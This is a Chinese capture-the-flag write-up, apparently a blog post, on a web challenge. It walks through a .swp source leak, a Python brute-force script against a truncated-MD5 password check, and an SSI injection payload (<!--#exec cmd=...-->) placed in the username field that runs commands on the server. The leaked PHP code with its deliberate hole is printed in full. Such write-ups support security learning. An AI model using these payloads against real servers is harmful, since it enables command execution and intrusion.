前面的突破点考察swp泄露以及md5截断认证,最后一步考察ssi注入
进入题目是一个登陆页面什么提示都没有,工具扫了一下发现swp泄露,得到登录验证页面的源码:
<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>
登录页面的突破点在这里:
$admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) {
......
要求输入的密码Md5前6位等于6d0bc1,Md5截断验证,参考我之前的两篇博客:
https://www.cnblogs.com/yesec/p/11297568.html
https://www.cnblogs.com/yesec/p/11300841.html
直接放脚本:
from multiprocessing.dummy import Pool as tp import hashlib knownMd5 = '6d0bc1' def md5(text): return hashlib.md5(str(text).encode('utf-8')).hexdigest() def findCode(code): key = code.split(':') start = int(key[0]) end = int(key[1]) for code in range(start, end): if md5(code)[0:6] == knownMd5: print(code) break list=[] for i in range(5): list.append(str(10000000*i) + ':' + str(10000000*(i+1))) pool = tp() pool.map(findCode, list) pool.close() pool.join()
爆破出来可以使用2020666登录,随便输入一个用户名即可登录
登陆上去发现什么都没有,用8倍镜可以看到有一行灰色小字:
应该是一个hint,看一下Header信息:
得到路径,输入地址看一下:
可以看到用户名是被直接输出了,一开始看到底下的IP还以为是ssti,后来测试了一下发现没有什么用,这时候才发现是shtml页面
想到可能存在SSI注入,这里我们的用户名是可控的
关于SSI注入可以参考这篇文章:https://www.secpulse.com/archives/66934.html
构造Payload测试一下:
<!--#exec cmd="ls ../"-->
返回登录页面将Payload当作用户名,密码2020666登录,进入Header中提示的页面:
可以看到我们的命令被执行了,但是此时我们ls的是/public/目录,我们再列出网站根目录下的所有文件:
<!--#exec cmd="ls ../"-->
找到了Flag所在的文件,直接访问得到Flag:
关于SSI注入可以参考:https://www.secpulse.com/archives/66934.html
在做题的过程中如果遇到shtml就可以考虑一下是否存在SSI注入